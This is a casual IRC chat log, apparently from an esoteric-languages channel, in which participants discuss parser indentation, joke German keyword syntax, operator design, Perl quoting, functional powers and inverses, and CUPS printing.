15:15:06  https://hackage.haskell.org/package/indents-0.3.3/docs/Text-Parsec-Indent.html
15:26:18  aw fuck
15:26:19  yeah
15:26:22  you have to use lots of tries
15:26:23  :(
15:27:38  but that doesn't soom to work either
15:29:54  the problem is that if you expect 6 spaces to be there
15:30:04  but there are only three there (which means block end)
15:30:11  then parsec will still expect those 3 additional spaces
15:31:36  https://hackage.haskell.org/package/indents-0.3.3/docs/Text-Parsec-Indent.html
15:31:38  although there is this
15:32:16  You could embrace it instead.
15:34:14  why not begin ... end
15:34:15  or
15:34:18  begin ... nigeb
15:34:43  procedure ... while ... elihw .. erudecorp
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15:34:54  man that'd be annoying
15:35:17  foreach x in y do ... hcaerof
15:35:56  I'm vaguely sure I've seen "erudecorp" in that context before (presumably as a joke)
15:36:13  There are plenty of rude corporations in the see
15:36:15  (vaguely sure = a little less sure than "pretty sure")
15:36:56  `learn erudecorp is the shortform of e-rude corporation. The term is used for corporations that are electronically rude.
15:36:59  Learned 'erudecorp': erudecorp is the shortform of e-rude corporation. The term is used for corporations that are electronically rude.
15:37:39  One using german swear speech would be fun
15:38:02  fürjedes x in y friss das ... du sack
15:38:31  versuche x menno .... so'n müll
15:38:47  = try: x except: ....
15:42:05  öffentlich statisch hauptmethode(Schnur[] argumente) ist ganz i; solange(i < 10) mach print(i) aber schnell gecheckt?
15:43:29 * J_Arcane reconstructs a code snippet by hand from a Twitter image, thus learning why he should use version control even for small projects.
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15:48:16  http://codepad.org/858XP1XQ
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15:51:56  [wiki] [[List of ideas]]  http://esolangs.org/w/index.php?diff=45571&oldid=44809 * 160.85.232.226 * (+413) lolcode in german.
16:01:36  mroman: Now add that modifiers have to be properly inflected for what they go on.
16:02:18  Also, “Schnur”, really? <ω<
16:03:22  well
16:03:24  yes
16:03:27  Schnur
16:03:36  double -> doppelt
16:03:42  float -> schwimm
16:04:00  >ω<
16:07:02  “Zeichenkette”, “Gleitkommazahl” (“doppeltgenaue” or “einfachgenaue”).
16:07:20  Niemals
16:07:24  Das wäre ja nicht Lustig.
16:07:50  KRANKENHAUSKIOSKVERKAEUFERIN
16:07:55  Ich weiß, ich konnte das nur einfach nicht so stehenlassen.
16:08:39  bool -> buhl
16:08:57  Zwischengesicht Vergleichbar
16:09:32  Amusing: “chain” and “Kette” are cognate, but not Germanic; they’re from Latin “catena”, but in the English case of course it got filtered through Old French first.
16:10:43  (“Schnittstelle”)
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16:23:02  Chain in Polish is łańcuch
16:23:04  Probably not cognate
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16:28:10  Melvar: of course. the Mormann warriors have learnt that word from the Roman soldiers who took their lived ones away as slaves chained up
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16:49:46  schwimm. oh my god
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17:25:09  Ach du liebe Güte.
17:26:02  There will also be a swiss german dialect of it
17:26:11  maybe
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17:53:48  mauris: to float = schwimmen
17:53:56  float imperative => schwimm
17:53:59  i know!
17:54:02  it's just funny
17:54:06  It's an imperative language after all!
17:54:10  haha
17:54:57  Well, depends … sometimes you want “schweben” instead.
18:07:07  I'm watching "Best of Donald Trump"
18:07:22  makes a nice sitcom
18:10:18  wait
18:10:24  that wrestling video with donald trump
18:10:27  is this for real?
18:11:08  what the hell is this
18:12:44  (real for wrestling purposes)
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19:13:36  I need a good name for a heavily symbolic (as in, gets-its-syntax-from-"Misc. Symbols"-symbolic) language. I'm currently calling it "Langdon"
19:16:11  How about Apollo? I might roll it in with Kastor in a way
19:17:21  Even better, I could just roll my ideas for it into UniFunge and name UniFunge apollo.
19:17:24  I think I'll do that
19:18:27  [wiki] [[Special:Log/move]] move  * Hppavilion1 *  moved [[User:Hppavilion1/UniFunge]] to [[Apollo]]: Came up with a good name for the language
19:19:19  [wiki] [[Apollo]]  http://esolangs.org/w/index.php?diff=45574&oldid=45572 * Hppavilion1 * (-7) Fixed names for new page
19:21:13  Actually, I think I've changed my mind xD
19:22:00  [wiki] [[Apollo]]  http://esolangs.org/w/index.php?diff=45575&oldid=45574 * Hppavilion1 * (+8) Undo revision 45572 by [[Special:Contributions/Hppavilion1|Hppavilion1]] ([[User talk:Hppavilion1|talk]])
19:22:25  [wiki] [[Special:Log/move]] move_redir  * Hppavilion1 *  moved [[Apollo]] to [[User:Hppavilion1/UniFunge]] over redirect: Changed mind. Sorry.
19:23:01  And... on to lunch.
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19:29:09  Should I use ≪ and ≫ instead of << and >> for bitshifts in Kastor?
19:29:37  Perl6 uses « and » as quote marks, that can be typed as << and >>
19:29:41  I'm not sure what it uses for shifts
19:29:45  knowing Perl, probably also << and >>
19:29:56  Probably
19:36:00  ais523: for delimiting strings?
19:36:41  FireFly: so in Perl6, < and > are literal list constructors that interpret everything between them raw and split on spaces
19:36:51  i.e.  = ('foo', 'bar', 'baz')
19:36:56  Ah, okay
19:36:59  « and » are like that, but interpolate
19:37:06  I see
19:37:20  «foo $x baz» = ("foo", "$x", "baz") = ("foo", $x, "baz")
19:37:37  err, ("foo", ~$x, "baz"), $x gets stringified
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19:48:51  hppavilion[2]: Did you see my message?
19:49:04  Melvar: Yes. I might change it to that.
19:49:08  Though I like the existing ones too
19:49:15  Nm lambdabot now alerted me to your answer.
19:49:45  Because if I use the white brackets, then I can logically have both bags and ordered bags
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19:50:35  Are those … hmm … lists with a fast count operation?
19:51:04  Melvar: They're basically just ordered lists, at least that's one way to implement them
19:51:35  But yes, they're lists that store the number of times a value occurs in them. And you can't have a value occur at multiple indexes, unless I decide you can.
19:51:53  Huh?
19:52:08  If you can’t have one at multiple indices, how can you have any more than one?
19:52:30  Melvar: In literals you can have them at multiple indices, but they get consolidated into a single bag basically
19:52:59  I think I'll let my language have operators in prefix, postfix, infix, circumfix, precircumfix, postcircumfix, and incircumfix, just to one-up perl.
19:53:17  <ω<
19:53:55  Agda already has fully general mixfix, which merely has all those as special cases.
19:54:29  does incircumfix even make sens?
19:54:40  *sense
19:54:47  (what would it look like?)
19:54:58  _⟨_⟩_
19:55:00  I guess along the lines of a[b]c but that's just a ternary
19:55:02  I presume.
19:55:10  (no reason the brackets have to match)
19:55:16  _?_:_ is topologically the same
19:55:17  ais523: a[b]c is an example of an incircumfix operator, but not necessarily one that will be used
19:55:25  Wait, you typed the exact same thing before me xD
19:55:54  I believe in Agda I’ve seen _[_]=_ for replaceAt in a vector.
19:56:01  But yes, that's an example of incircumfix; it is as a matter of fact ternary. I might not have any builtin though
19:56:35  There will also be associativities if I can figure it out, also taken from perl: right, left, chain, list, and whatever the other one perl has is
19:56:40  I guess I meant that the "circum" is suspect because there's no reason why the brackets would match
19:57:13  Anyway, for the ordered bags, if you enter one where the same value appears at multiple indices, where is the value going to be in the resulting orderedbag?
19:57:28  Melvar: The first occurence. Duh.
19:58:04  I disagree, not duh. How would I know you wouldn’t use the last occurrence?
19:58:33  You can ALSO declare associativity groups- for example, a>b>c is be equal to (a>b)&(b>c)
19:58:51  Melvar: OCaml has maps with multiple bindings
19:58:55  Melvar: Trial and error, or reading the fucking manual. Either one works.
19:59:04  where newer bindings shadow old ones, but don't remove them (you can delete the newer binding and see the older binding again)
19:59:15  No, asking you just now, that’s how I know. I just disagree that it’s duh.
19:59:16  strangely enough, this is its default sort of map
19:59:17  for some reason
19:59:26  I believe that Kastor currently has 14 builtin data structures xD
20:00:31  ( :let infixl 6 <=?
20:00:31  defined
20:01:07  Actually, derp, that won’t work.
20:01:11  ( :unlet
20:01:11  Undefined .
20:01:27  [wiki] [[User:Hppavilion1/UniFunge]]  http://esolangs.org/w/index.php?diff=45578&oldid=45576 * Hppavilion1 * (+814) /* Δ Commands */ Astrological symbols
20:02:47  In case anyone wants to see the WIP documentation for Kastor, it's here: https://drive.google.com/folderview?id=0ByRvNdqqy3GPV1NfZmRwOFNxQ28&usp=sharing
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20:20:07  ais523: hello
20:20:39  hi b_jonas
20:21:25  ais523: have you seen this Amycus esolanguage I mentioned a last time? 
20:21:30  it turns out to be quite interesting,
20:21:44  and I've only written some of the intersting stuff about it so far, I'll have to document the rest
20:22:00  b_jonas: I looked at it when reviewing Esolang edits
20:22:24  also, it seems that's partly by accident, because I misread _one_ character in the spec, and didn't read the interpreter carefully enough to notice that it doesn't match
20:22:31  the interpreter matches the intended spec
20:22:50  but I went by my copy of the spec, which had an error compared to David's spec
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20:23:06  so now we have twice as many languages
20:23:27  and of course, that one character matters a lot, because esolang
20:28:52  this is an interesting read http://www.opensource.apple.com/source/lsof/lsof-8/lsof/00PORTING
20:31:02  haha, lsof reads /dev/kmem on most platforms?
20:32:31  ais523: on BSD, probably
20:32:41  on linux, I think it reads /proc
20:32:51  by "most platforms" I mean "all Unices but Linux"
20:32:58  ais523: yes, but so does ps
20:33:03  I think
20:33:12  maybe it differs on some modern ones
20:33:17  as in, modern bsds
20:33:32  reading /dev/kmem is the traditional way
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20:54:40  Should I make ¹²³ be postfix operators that power (for niceness), or should they be permitted to be at the end of names so you can have, for example, w¹?
20:57:25  both!
20:58:06  ais523: That's not possible, even for a language like perl.
20:58:08  heheheh
20:58:12  sure it is
20:58:29  for example, you could allow the subscripts to be part of the identifier only if the identifier had been declared
20:58:34  and otherwise have them as operators
20:58:36  I mean, it would be an esolang, but still
20:59:03  b_jonas: No, not even perl could do it; if we did both (and didn't allow other syntactic fixes) x³ as in x**3 would be ambiguous relative to x³ the name
20:59:09  just like in Perl, if you declare a function then foo (with no punctuation around it) is a function call, otherwise it's a string literal
20:59:39  yeah
20:59:39  apparently the actual official reason behind this feature is that it makes it easier to write Perl/poetry polyglots
20:59:49  (where "poetry" is the literature/artistic concept, not an esolang)
20:59:49  what
21:00:00  ais523: also builtins, but yes
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21:00:13  foo isn't a builtin, I picked a concrete example for a reason :-)
21:00:49  right
21:01:45  although some things that are builtins are surprising
21:01:50  like Perl 6's ... operator
21:01:59  which is either an eager or lazy exception, I forget which
21:02:04  (intended use: sub foo { ... } )
21:02:09  (for a function you haven't written yet)
21:05:28  yes, that's a recent addition
21:06:05  ais523: Wait, really? Wow.
21:09:28  \oren\: So is there a nice-looking way to represent augmented assignment with <- assignment?
21:10:38  hppavilion[1]: do you mean like var +← val;
21:10:48  to increase var by val
21:11:08  b_jonas: yes, but that looks a bit bad
21:11:15  does it?
21:11:20  Is there a better looking version
21:11:22  It does to me
21:11:50  well, I think K uses : for assignment, and var +: val for compound assignment iirc
21:13:41  I don't know if there are apls that use +←
21:14:36  b_jonas: : might actually work... Especially because it's used in Dicts.
21:15:43  hppavilion[1]: or, if you have no prefix operators, only postfix and infix, then ←+ could work too
21:16:20  hppavilion[1]: also maybe .+← or ←.+
21:16:37  where . stands for a method call such that .+ would do addition
21:16:55  b_jonas: I do have prefix, unfortunately. I think I might use :.
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21:18:37  hppavilion[1]: or even ←;+ if ; is your method cascade marker?
21:18:54  as long as that doesn't clash with other syntax of course
21:23:12  have you seen the way Ursala does operator fixity?
21:23:24  ais523: no
21:23:27  the whitespace around an operator determines whether it's infix, postfix, prefix, or unary
21:23:29  err, nullary
21:23:34  (rather than unary)
21:23:47  ais523: yeah... ruby sometimes does that, and even perl does sometimes, in ambiguous situations
21:23:50  and the four versions can have entirely unrelated meanings (although more commonly are various currying)
21:23:51  I hate that
21:23:58  also, operator precedence isn't transitive
21:24:26  ruby has especially complicated rules where there's like three sets of nested exceptions so that it dwims on a negative number powered to something
21:24:31  (it's been known for ages that you can parse grammars unambiguously even if operator precedence isn't transitive; however, mostly this was viewed as a quirk of the parsing algorithms rather than an actually useful feature)
21:25:33  I think the mixfix paper explained how to do nontransitive precedence with it …
21:26:14  I prefer a solution where the arity of the operator is unambiguous anyway, because the syntax is like that
21:26:58  b_jonas: have you seen Ursala at all
21:26:59  oh, I wanted to ask a question from you about parsers too, but it's too late so some other time
21:27:03  if not, you should at least look at some examples
21:27:05  no, I haven't seen ursala
21:27:13  I haven't looked at it at all
21:27:18  b_jonas: Unambiguous at use site or only when including definition site?
21:27:22  remind me later to look at it then
21:27:41  unfortuately the website seems to be down
21:27:44  Melvar: depends
21:27:57  but it basically reads as an esolang that's trying to market it as a non-esolang, and has a library collection competitive with Funge-98 but in different fields
21:28:17  ais523: heh
21:28:41  this seems to be relevant: http://www.bcs.org/category/10379
21:30:01  also the site was http://www.basis.uklinux.net/ursala and is in the wayback machine at http://web.archive.org/web/20080329070617/http://www.basis.uklinux.net/ursala/  so you could look at it that way
21:30:44  "Lessons learned from an unusual language" is the title of the seminar about it
21:31:34  apparently it's inspired by "Squiggol" which I've never heard of
21:33:12  actually this is a really good presentation for learning about what the language is like
21:34:27  anyway it's fun to compare Ursala to Underlambda because they have several similar design goals and end up similar for that reason
21:34:50  (although they're very different in some other respects, because of Underlambda's big defining property that it should be easy to write in and also easy to compile into very low-powered languages)
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21:58:51  Can functional powers be done with non-natural exponents?
21:59:37  For example, if f(x)=x+1, that means f**2(x)=f(f(x))=(x+1)+1=x+2
22:00:27  But what does f**0.5 mean? And while we're at it, f**-1, f**i and f**(1+i)
22:00:47  (And, I suppose, f**0, though I suspect that that f**0(x)=1)
22:01:35  f**0(x)=x
22:01:38  f^0(x)=x
22:01:44  f**-1(x) is the inverse of f, which might or might not exist
22:01:49  depending on what f does
22:01:54  (and might be non-unique in some cases)
22:02:45  What does it mean to say the inverse isn't unique?
22:02:56  That it's just a left inverse or right inverse?
22:03:23  shachaf: no, those only work on binary operators
22:03:39  a unary function (i.e. one argument) doesn't have a "left inverse" and "right inverse"
22:03:44  ?
22:03:47  I mean https://en.wikipedia.org/wiki/Inverse_function#Left_and_right_inverses
22:04:02  Would you prefer section/retraction?
22:04:03  wait, it does have a preinverse and postinverse though
22:04:17  but what I'm thinking of is, say, f(x) = floor(x/2) (for integral x)
22:04:36  that is inverted by f**-1(x) = x*2, but it's also inverted by f**-1(x) = (x*2)+1
22:05:08  OK, so you mean right inverse.
22:05:15  Where f is surjective but not injective.
22:05:43  I get confused because there are so many different ways to formalize what a function is
22:05:56  "every surjective function has a right inverse" is equivalent to the axiom of choice, which is kind of obvious when you see it but still neat.
22:05:59  if you're composing them then they obviously have left and right inverses
22:06:09  Maybe you'd prefer "split epimorphism"?
22:06:12  sorry, I'm tired
22:06:16 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
22:06:23  also trying to explain things in terms of category theory will just make things worse
22:06:46  I actually agree that "left inverse" and "right inverse" is confusing terminology, it's just what I've heard.
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22:07:26  We're talking about "right inverse" with respect to the binary operation of function composition, I think.
22:08:39  yes
22:08:45  these are clearly composition-based definitions
22:09:01  if you think about functions in terms of application rather than composition, there's no left and right, just inside and outside
22:09:14  (I used the composition-based version of all this in my thesis, but I wasn't happy about it)
22:09:19  Ah, f**0 is hte identity
22:11:41  hppavilion[1]: you can see this very clearly in Underload
22:11:46  the standard definition of 0 is !()
22:12:05  which literally means "discard the argument, and replace it with the identity"
22:13:39  I don't think generalizing functional powers to non-integers make much sense, but if you do figure something out I'm curious to hear about it
22:13:42  hmm
22:14:40  FireFly: 1/(1-x) is the cube root of the identity :-)
22:16:33  Well I'd say that to generalize it to integers is simple: f**x where x<0 is equivalent to iterating f**-1 |x| times.
22:16:45  sure
22:16:46  For integer x?
22:17:14  shachaf: For any real number, really. But only the integers for now, because we haven't defined it for reals yet.
22:17:51  Now, function square root is a thing: g**1/2=f such that f(f(x))=g(x)
22:17:53  Raising a function to 0 or 1 is a somewhat common idiom for applying a function conditionally in J (and maybe APL, dunno)
22:18:13  (0 and 1 also double as boolean values)
22:18:41  So we can clearly generalize that to any arbitrary real number of the form 1/n where n is an item of R
22:19:09  g**1/n=f such that f**n(x) = g(x)
22:20:53  Now, since any number x to the power of a rational of the form n/d (x**(n/d)) is equivalent to d√(x**n)
22:22:05  So in analogue to that, for a function g to the power of a real number n/d which is equivalent to f, f is a function such that f**n(f**n...(x))...)=g(x)
22:22:53  And, of course, if n/d is negative, it's quite simple: the above expression where n is negated.
22:23:57 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:26:49 -!- Patashu has joined.
22:28:26  so for S**(-2/3)=f, f is equal to, I believe, S**-2(S**-2(S**-2(x))), where S**-2=(S**-1)**2, which means S**-1(S**-1(S**-1(S**-1(S**-1(S**-1(x))))))=P(P(P(P(P(P(x)))))) where P is the predecessor function (I assume S**-1=P), so S**(-2/3)(x)=x-6. Boom.
22:28:49  Next, we have to define f**i(x) if we want to generalize to the complexes.
22:30:28  Skipping that for now, since x**n*x**m=x**(n+m), and defining composition as function multiplication because that seems to make sense, we can deduce that f**(a+bi)(x) = f**a(f**bi(x))
22:31:05  Either that or function multiplication can just be defined such that f*g(x)=f(x)*g(x), but that's not as fun
22:31:22  FireFly: So really, all we need do is define f**i(x) and we're home free.
22:33:38  FireFly: Have any ideas?
22:34:00  Uh, no clue what imaginary powers would be
22:34:13  the rationals is enough for m
22:34:15  me*
22:34:27  FireFly: What's x**i equal to when x is a real?
22:34:29  f^i(f^i(x)) = f^-1(x), presumably
22:34:37  FireFly: BLASPHEMY! WE CAN NEVER BE SATISFIED!
22:35:46  shachaf: But if we assume that composition is multiplication of functions, that poses a problem. x**n*x**m=x**(n+m), so that means that f**i(f**i(x))=f**2i(x)
22:36:23  Oops, of course.
22:36:53  FireFly: Also, I techncially covered the reals. You just have to round off the naturals, which is kind of how exponentation works anyway AFAICT
22:37:15  I suppose we should define S(f)
22:37:30  “A systematic procedure to produce arbitrary functional n-roots (including, beyond n= ½, continuous, negative, and infinitesimal n) relies on the solutions of Schröder's equation.[3][4] [5]”
22:37:41  You might want to read those (from the article on functional square root)
22:37:58  Hm, the first one is from 1870
22:38:02  FireFly: My system is either better or equivalent.
22:43:12  Wait, what if function multiplication is giving a function its arguments? At least, for the type func*tuple
22:53:12  ais523: I think the cube (or indeed, square or generally nth) root of the identity is the identity, as I(I...I(x)...)=I(x).
22:53:33  hppavilion[1]: try calculating the third power of 1/(1-x) :-)
22:53:48  Of course.
22:53:53  I suspected that.
22:54:14  (at least I think that's what it is)
22:54:19  one of my favourite random mathematical facts
22:54:20  Wait, so 1/(1-x) is a convenient way to obtain EXACTLY the cube root of a number? Wait, that doesn't seem right...
22:55:16  I mean, any two rationals fed to division is a rational, and - is closed over the rationals, but there are rationals such that root(x, 3)(/-R
22:55:58  So the cube root of I(x) can't be 1/(1-x), at least not exactly. Thus, it'd be more accurate to say that the cube root of identity is just I.
22:56:02  (Math!)
22:57:29  ais523, idgi
22:57:33  ((1-x)^-1)^3 = (1-x)^(-3)
22:58:35  hppavilion[1]: no, not the third power of the result
22:58:36  the third power of the function
22:58:53  Oh, that was meant to be a function, not an expression.
22:59:10  Ah
22:59:22  > let f x = 1/(1-x) in f (f (f x))
22:59:24   1 / (1 - 1 / (1 - 1 / (1 - x)))
22:59:30  here's an example, start with 5; after running the function once we get 1/-4 which is -¼; after running it twice we get 1/(5/4) which is 4/5; and after running it three times we get 1/(1/5) which is 5
23:02:17  oh, it collapses to x
23:02:20  ais523: So the algebraic data type L(a) = 1 + a*L(a)
23:02:25  So L(a) = 1/(1-a)
23:02:33  So [[[a]]] = a?
23:02:46  That doesn't seem right.
23:03:31  I'm not sure I understand
23:03:57  People talk about this thing where you represent the algebraic data type of lists as L(x) = 1/(1-x)
23:04:12  And you do a bunch of algebraic mafipulation and somehow it works out in the end.
23:04:22  E.g. when you take the derivative or that sort of thing.
23:04:24  you expand it to a power series
23:04:39  Yes, you can expand it to a power series, 1 + x + x^2 + ...
23:04:46  Which is the obvious representation of lists.
23:05:15  But ais523 is saying that L^3 = I, so I'm wondering if that can be made to work here somehow.
23:06:03  Ok, I have an issue. I have two functions for the short article I'm writing on this, S and D. S(x)=x+1 and D(x)=2x. I also have the auxilliary functions sS(x)=x+0.5 and sD which are to be used to demonstrate square roots of functions. What I'm trying to find is what sD(x) is equal to; currently it's sqrt(2*x), but that doesn't seem right because sqrt(xy)=sqrt(x)*sqrt(y) and thus it seems wrong. I think. Actually, it's 
23:06:03  beginning to seem more right. Not sure
23:06:34  sqrt(2)*x?
23:06:55  shachaf: Tried that, but sqrt(2)*x seems to equal 2(x**2)
23:07:21  ?
23:07:36  I mean (sqrt(2)*x)**2
23:08:25  > let f x = sqrt 2 * x in f (f x)
23:08:27   sqrt 2 * (sqrt 2 * x)
23:08:42 -!- shikhin has changed nick to hin.
23:09:01  (sqrt(x)*sqrt(y))**2=sqrt(x)*sqrt(x)+sqrt(x)*sqrt(y)+sqrt(y)*sqrt(x)+sqrt(y)*sqrt(y)=x+sqrt(x)*sqrt(y)+sqrt(x)*sqrt(y)+y=xy+sqrt(xy)+sqrt(xy)=xy+2(sqrt(xy))
23:09:05 -!- hin has changed nick to shikhin.
23:09:34  I have no idea what you're getting at now.
23:10:00  I'm saying that sD(x) = sqrt(2) * x, so that sD(sD(x)) = sqrt(2) * sqrt(2) * x = 2*x
23:10:46  Hard to read, yes, but the gist is that    sqrt(xy)**2    is equal to    (sqrt(x)*sqrt(y))**2    is equal to    xy+2(sqrt(xy))
23:10:50  I think
23:11:33  Oh, well, it's not.
23:11:41  Oh right
23:11:49  I was doing the wrong math
23:12:15  I was doing (sqrt(x)+sqrt(y)**2 instead of (sqrt(x)*sqrt(y)**2
23:12:17  Anyway you can make some sort of relationship between S^n and D^n using log2, probably.
23:13:21 -!- zzo38 has joined.
23:13:37  So I guess sqrt(2)*x it is. Really hope that math is right xD
23:13:49  It isn't difficult to verify.
23:13:55  A lot less work than what you were doing there.
23:14:26  Why does "geometric" mean "with multiplication"?
23:15:16  shachaf: Did I say geometric at some point?
23:15:26  No, but I just did.
23:15:54  shachaf, because scaling is very natural in geometry i guess
23:18:06 -!- ais523 has quit (Ping timeout: 240 seconds).
23:18:32  Aw, no answer from ais523. Maybe I should ask in #haskell or something.
23:18:39  Wait, I think I've found a problem with composition being function multiplication. Consider f(x)=x+1 and g(x)=2x. If composition is function multiplication, (f∘g)(x)=2x+1, so (f∘g)(3)=7, but (g∘f)(x)=2(x+1), so (g∘f)(3)=8. Therefor ∘ is noncommutative
23:18:47  Wait, matrix multiplication isn't commutative either
23:18:49  Problem solved.
23:19:00  Matrix multiplication is function composition.
23:19:03  (And neither is quaternion)
23:19:08  shachaf: How so?
23:19:21  A matrix represents a linear function.
23:19:29  Is a matrix secretly a function? By that logic, couldn't any value be considered a function?
23:19:29  Matrix multiplication represents composition of linear functions.
23:19:33  Ah
23:19:40  It's not so secret in the case of the matrix.
23:20:21  quaternion multiplication is also function composition
23:20:24  It's not a trick like the what's-it-called representation.
23:20:43  NEXT ARGUMENT:
23:20:51  How can you tell CUPS to display what it will do to print the given input (what filters and so on are used, etc) but not send to printer? Also how can you tell CUPS to print to file?
23:20:52  though i mean every group can be realised as function composition
23:20:55  I mean NEXT GENERALIZATION:
23:21:01  ?messages-loud
23:21:02  hppavilion[1] said 4d 2h 4m 58s ago: Found an article on how type systems are logics: https://codewords.recurse.com/issues/one/type-systems-and-logic
23:21:03  g**-1(x, y)
23:21:08  Cayley, that's it. Presumably what Phantom_Hoover is talking about.
23:21:22  cayley's theorem, yes
23:21:38  Except you can do it for monoids, not just groups.
23:21:47  No need for inverses.
23:23:32  nor for units. nor for associativity...
23:23:54  can't do rings though!
23:23:55  Well, monoids are the natural place to do it.
23:24:40  So how does g**-1 work when g takes multiple arguments? I suppose it could be that if g takes multipile arguments and returns an argument of type t, g**-1 could accept a single argument (of type t) and return a tuple of the arguments g would take to yield that
23:25:07  Well, a set of the tuples
23:25:20  Functions only take one argument.
23:25:53  Essentially, if g(1, 2) = 3 and g(4, 5)=3, then g**-1(3) = {(1, 2), (4, 5)}
23:25:58  shachaf: Oh right. Curring.
23:26:05  You don't have to cur.
23:26:38  You can just have a function from a product.
23:27:02  shachaf: Godel numbering or the like?
23:27:09  No, just a pair.
23:27:29  shachaf: You mean a function that just accepts an n-tuple?
23:27:33  Yes.
23:27:35  Ah
23:27:51  Meh, do the Foglios wa
23:27:59  You /could/ do that, OR you could do it the fun way and just interpret them as having multiple arugments
23:28:26  ... want to kill us with the suspense of an impending wasp attack in Paris?
23:30:24 -!- shikhin has changed nick to _exit.
23:30:33 -!- _exit has changed nick to shikhin.
23:33:13 -!- shikhin has changed nick to sortix.
23:33:18 -!- sortix has quit (Disconnected by services).
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23:42:49  Also how to override the MIME type of the input with CUPS?
23:43:49  Should I use Roman Numerals or Arabic Numerals as the page numbering for a LaTeX document I'm working on?
23:44:25  I think I'll go with arabic
23:45:06  I'm practicing my LaTeX (and making myself seem smarter) by making a little mathematics PDF on Function Arithmetic.
23:45:31  I think I'll call functions "Functia" for the entire article because why the hell not?
23:47:09  Hmm, I should catch up with GG
23:47:32  It was fun to read until I got up to speed with the comic.. then I kind-of forgot about it
23:51:17  hppavilion[1]: the Esoteric Language Council approves of this usage of "functia".
23:51:38  tswett: Excellent.
23:51:44  Wait, we have a council?
23:54:52  The Esoteric Language Council's position on this question is that yes, we do.
23:55:39  What's the name again for functions that have conditions in them? That is, functions with "if x=2" and the like.
23:56:16  I was going to use it in my Arithmetic of the Functia, but then I realized hyperoperations for demonstration of basic functions is a bad idea
23:56:22  But I'm still curious
23:56:56  fungot: where are you?
23:57:06  My own computer does not have the "--list-filters" option of "cupsfilter" program
23:57:20  hppavilion[1]: piecewise.
23:57:25  THERE we go!
23:58:18  I need a good, simple, 2-argument function for my Arithmetic of Functia. A(x, y)=x+y is already used. I don't just want to do M(x, y)=xy. Anyone have any good ideas? Perhaps a famous but simple function?
23:58:58  One that I can evaluate for two naturals (including 0) <= 4 in my head while writing the document? xD
23:59:22  It need not be piecewise, but that'd add some nice variety
23:59:51  (And noone suggest Ackermann. Just no. I don't think it's even /possible/ to do that in one's head.)

2015-11-21:

00:02:36  tswett: Have any suggestions?
00:02:44  2x + y?
00:02:49  Sure. Why not.
00:03:00  What should I name it?
00:03:03  Ooh, and don't forget:
00:03:05  max(x,y)
00:03:08  Ah, yes
00:03:22  Call it the... twexply function!
00:03:46  tswett: TPY function. T(x, y) for short.
00:04:54  tswett: What does max return if x=y?
00:05:05  x, or, equivalently, y.
00:05:22  OK
00:06:25  Or, if you want to throw a wrench in the monkey works, use the "chamfered max" function.
00:06:40  If x > y, returns x. If y > x, returns y. If x = y, returns x+1, or, equivalently, y+1.
00:07:23  I'll also include sgn() for the variety
00:09:17  tswett: Here's an idea for a variant of max(x, y) where "it just returns the value" is /not/ the logical output. far(x, y)
00:17:02  And what would that be?
00:17:36  Why does CUPS convert the PBM to PDF and then to PostScript and then to ZjStream format when printing my document rather than just converting it directly?
00:18:29  tswett: Returns which is farther away from 0
00:18:50  *nod*
00:19:09  Right, and the question is, what does it return if they have the same magnitude, opposite signs?
00:19:42  tswett: Exactly. It's fairly simple if it's max(), but not if it's this.
00:21:45  What does f**-1(x) return if f has multiple values that equal x?
00:26:48  I say that f^-1 only exists if f is a bijection.
00:27:40  shachaf: Oh. I would say it returns a set.
00:27:51  That's a different f^-1
00:28:00  It works for any surjection.
00:30:04  Oh. I think I'll just stick with that one for mine.
00:30:27  Wait, it works for any function, not just surjections.
00:33:52 <\oren\> hi[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~[6~
00:34:30 <\oren\> wtf where did [6~ come from
00:35:56  lots of misinterpreted "page down"s?
00:36:55 <\oren\> weird i don't know why irssi did that
00:37:37  It sometimes does such things to me on laggy connections. Screen might play a role in that as well.
00:40:08  Final round of try-outs for my uni's University Challenge team is tomorrow...
00:40:29 -!- mathe0logic has joined.
00:41:17  hppavilion[1]: I'd say there are two variants of the ^-1 operator.
00:42:04  The first variant returns a single value, and is only defined for functions that are one-to-one. f can't have multiple values that equal x; by definition, such a function would not be one-to-one.
00:42:25  The second variant is defined for all functions, and *always* returns a set, even if it happens that f only has one value that equals x.
00:42:33  If "one-to-one" means injective, that's not enough.
00:42:35  In which case it returns a set containing that one value.
00:42:58  I do mean injective, and I guess the ^-1 would have a restricted domain for a non-surjective function.
00:42:58 <\oren\> am I the only one who hates hates hates the ^-1 notation for function inversion?
00:43:01 -!- mathe0logic has quit (Client Quit).
00:43:14  If you mean the ASCII version of it, it's pretty dang bad.
00:43:31 <\oren\> no even in typeset math I hate it
00:45:05 <\oren\> because of how sin^2 x means (sin(x))^2 and sin^-1 doesn't
00:45:28  sin^2(x) should mean sin(sin(x))
00:45:34  That's the one that's broken.
00:48:40 <\oren\> that kind of makes sense. actually maybe it's just the trig functions which break a lot of rules. i mean why is it it sin x but g(x)?
00:49:26 <\oren\> damn math profs too lazy to write a couple brackets
00:52:04  > (sin 2^2, (sin 2)^2)
00:52:06   (0.826821810431806,0.826821810431806)
00:52:10  > [sin x, g x]
00:52:12   [sin x,g x]
00:52:32  > (sin^2) 2
00:52:34   0.826821810431806
00:53:06  ugh... I don't particularly like that num instance... why does lb have it?
00:53:56  What form of the multiplication operator should I use?
00:54:17  Cross, dot, star, or juxtapositon?
00:54:32  I'll go with the dot I think
00:55:41  bah
00:55:43  @undef
00:55:43  Undefined.
00:55:48  > (sin^2) 2
00:55:50       No instance for (Show a0)
00:55:50         arising from a use of ‘show_M708850256494014920331324’
00:55:50       The type variable ‘a0’ is ambiguous
00:58:05  int-e: i imported it sttdnh
01:00:34 * int-e is still occasionally amazed by how much crap lambdabot depends on
01:02:39  shachaf: not sure what the "st" means there.
01:03:07  originally i typed httdnh but that seemed a bit mean
01:04:25 * int-e is in no mood for guessing
01:07:22  seems that
01:08:43  seems that that did not help?
01:09:18  hmm, now that I've typed it it looks reasonable
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01:54:12  \oren\: I need a symbol for the inverse of function composition. Do you know of one?
01:54:57  tswett: Or perhaps you have an idea for me
01:57:29  I think I'll use □ because it makes sense; circle for composition, square for disposition.
02:07:24  you can decompose a composed function?
02:08:36  quintopia: No. I think.
02:08:42  is that like D(f(g(x)),g(x))=f(x)
02:09:07  In my system, function composition is equivalent to multiplication
02:09:49  I realized something after thinking about function powers and about regular powers
02:10:05  f^0=I (I is the identity function, which is the compositional identity)
